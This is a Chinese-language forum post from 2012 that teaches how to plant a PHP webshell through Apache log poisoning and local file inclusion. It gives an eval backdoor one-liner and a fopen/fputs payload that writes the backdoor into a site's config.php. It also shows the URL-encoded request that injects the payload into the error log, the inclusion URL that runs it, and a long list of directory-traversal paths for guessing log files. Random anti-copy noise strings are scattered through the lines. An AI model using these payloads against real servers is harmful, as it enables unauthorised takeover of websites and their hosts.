找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1949|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
. J- @& q: l+ P
3 w4 V( B: h! g0 G5 z9 y4 N9 V. ?比如还是这句一句话木马 . `% F4 T) q8 ^2 m! \
<?eval($_POST[cmd]);?>   ) R5 g, J; Y. l# a

5 ~* f  Q8 J0 V/ C6 P到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, ( n6 h7 S: Z: q+ i: L& C
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
# L# [9 ]4 Q* G% X$ |: z1 g$ N4 k: `/ F$ Z! \9 v7 d+ s
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
& s6 t, k: h/ E& t2 s1 I  o" pfclose($fp);?>   //在config.php里写入一句木马语句
9 @+ Q$ ~! ?, ]4 b  o2 [9 U( j& N# {2 ~3 n$ E% D+ w4 `
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
% F. G* N) Q; I$ s; M$ n转换为 ( ?9 y  D8 `: _8 S
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 0 `1 n! a9 h7 B' `
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
2 r9 w6 [9 N: ^) `& \: t1 p9 T9 B( v%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B , u4 E9 t# G- q4 G- ]0 C$ a. i$ k: r
fclose%28%24fp%29%3B%3F%3E , v% F" }1 t. I( v: H5 l
我们提交 $ \! s2 E7 [  {. ^( [& T% w
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww * h$ H! A- j/ {
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp # i' \4 X* E- ]# m  @3 r) F9 }% i- r
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B ! l5 w' K$ `- x1 ^' T+ E( V7 X
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 0 d. p" t* n8 \% t  U

: ]: f! K7 ^" ]' ]' b0 g这样就错误日志里就记录下了这行写入webshell的代码。
  _( P& l" T- p& _我们再来包含日志,提交 - d. c# I  j: @' ?3 K  {
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
/ Z0 K' F, P- T2 G9 Y$ A" A) p6 ]: Z
这样webshell就写入成功了,config.php里就写入一句木马语句
6 C6 a% z/ \3 P, a2 gOK. : t0 J; U' \5 }& k
http://www.xxx.com/forum/config.php这个就成了我们的webshell - T. E2 ]5 }* X  ~2 V
直接用lanker的客户端一连,主机就是你的了。
' S5 _5 K: V6 U% }, a
7 p5 O5 F! @4 k2 y: F  C0 ZPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 7 x* E. o! g) n) v4 Y- ?% T
9 b! d, o* t1 j: N0 N+ ?: ^4 S
其他的日志路径,你可以去猜,也可以参照这里。
. Y) t: f0 N2 x4 G8 m) O../../../../../../../../../../var/log/httpd/access_log . y  }' P4 ]! g8 }( P
../../../../../../../../../../var/log/httpd/error_log ; j! E0 e8 o' I6 P+ J2 k3 L, T: c
../apache/logs/error.log
3 T+ \/ {* n. ]' D4 a  ^" B; @2 ^../apache/logs/access.log % G3 L% J7 i, e* z5 q% _: F4 @  L
../../apache/logs/error.log 6 b+ |8 T  G. |4 |3 |
../../apache/logs/access.log 2 a: U0 B( D1 I( J
../../../apache/logs/error.log " D! _9 b. L9 l8 \' ~5 D$ `
../../../apache/logs/access.log 9 w2 l+ K! ^7 Y2 }. q0 L  ?" d* @
../../../../../../../../../../etc/httpd/logs/acces_log 9 m6 H2 B( d% x0 P  S1 y9 F
../../../../../../../../../../etc/httpd/logs/acces.log
, B' B* b' t1 |! N7 z+ f/ m../../../../../../../../../../etc/httpd/logs/error_log
) ^& G" Y) D* m9 @: \7 Y# r# ?../../../../../../../../../../etc/httpd/logs/error.log
! C+ W: [2 ]( S" k4 ~# F! @../../../../../../../../../../var/www/logs/access_log
# k; ?3 `' ~( R% @0 u9 y; `../../../../../../../../../../var/www/logs/access.log
/ x8 g( T# _* T5 D' i../../../../../../../../../../usr/local/apache/logs/access_log
7 E* q" X6 ?) X) W2 O1 O4 l../../../../../../../../../../usr/local/apache/logs/access.log
. E* N7 v2 k" m" @8 u../../../../../../../../../../var/log/apache/access_log
* F5 K9 y$ j; T; m../../../../../../../../../../var/log/apache/access.log . V' O+ i* g1 c2 U: K
../../../../../../../../../../var/log/access_log $ ?1 V5 z5 I+ a4 m4 [* A# a0 a
../../../../../../../../../../var/www/logs/error_log
' J/ g! T/ A. w$ [: m: q5 Y# D../../../../../../../../../../var/www/logs/error.log
' ?& I! P$ K  e; V; E0 D: R../../../../../../../../../../usr/local/apache/logs/error_log
& }5 G+ S" t+ M+ Q3 ~" N7 z; _../../../../../../../../../../usr/local/apache/logs/error.log
9 l( m5 ~7 w$ j9 S../../../../../../../../../../var/log/apache/error_log
) S# n1 l$ e/ d../../../../../../../../../../var/log/apache/error.log
& I/ A3 q$ E9 q6 T../../../../../../../../../../var/log/access_log ( t  H% C) \0 H& J9 E4 d; c( M6 d
../../../../../../../../../../var/log/error_log
) B# Q8 d) M7 H" P% {+ b/var/log/httpd/access_log       ; j' K) b, d/ w( G- o8 q( _
/var/log/httpd/error_log     3 ]( Z$ `5 o9 K% q
../apache/logs/error.log     ( X! T7 r  d8 X/ ^; b
../apache/logs/access.log ; i) D' d+ {1 c" g1 P) z: T
../../apache/logs/error.log 9 F0 V4 Z# ]2 X, W* {
../../apache/logs/access.log 8 z% Y. D4 S3 ?: [+ r4 D
../../../apache/logs/error.log
$ V# V1 O9 l7 k; d1 e* W../../../apache/logs/access.log
# T" N# l  _8 e3 j! h" d* _: }/etc/httpd/logs/acces_log ! _# P" o) q0 ?  O% a
/etc/httpd/logs/acces.log + w0 l7 I# t- f5 O. M. J. l
/etc/httpd/logs/error_log
) ^- L: p0 Y, E0 {# w# {/etc/httpd/logs/error.log
! ~2 v- F# K$ H9 |/var/www/logs/access_log
% t! t/ L2 Y: y; _" W/var/www/logs/access.log # G7 }& N  d4 q$ P- d
/usr/local/apache/logs/access_log * j5 K& o7 P, x/ I5 W9 S6 k
/usr/local/apache/logs/access.log - Y+ ?* d7 `' ]/ Z  l0 l
/var/log/apache/access_log " K9 Y. G, \- R1 @* [; H
/var/log/apache/access.log
* n* ]5 D* F0 A* C: I/ W/ J. O0 J/var/log/access_log
( \4 i( u, [' ~( e/var/www/logs/error_log
6 P  B8 P) \4 r! G% {; D( t# @: m# d/var/www/logs/error.log - v, [" y! S0 M' Q
/usr/local/apache/logs/error_log 7 o/ Q' C3 {- q' V( L. a' ?
/usr/local/apache/logs/error.log 5 Y. a: v+ y3 a3 O+ t
/var/log/apache/error_log & l6 j# ^% B9 Z2 u; \7 d; O
/var/log/apache/error.log 4 ~7 j+ J1 U; K: Y
/var/log/access_log
/ T, m' U: ^8 i' y8 W2 P0 P% Z/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表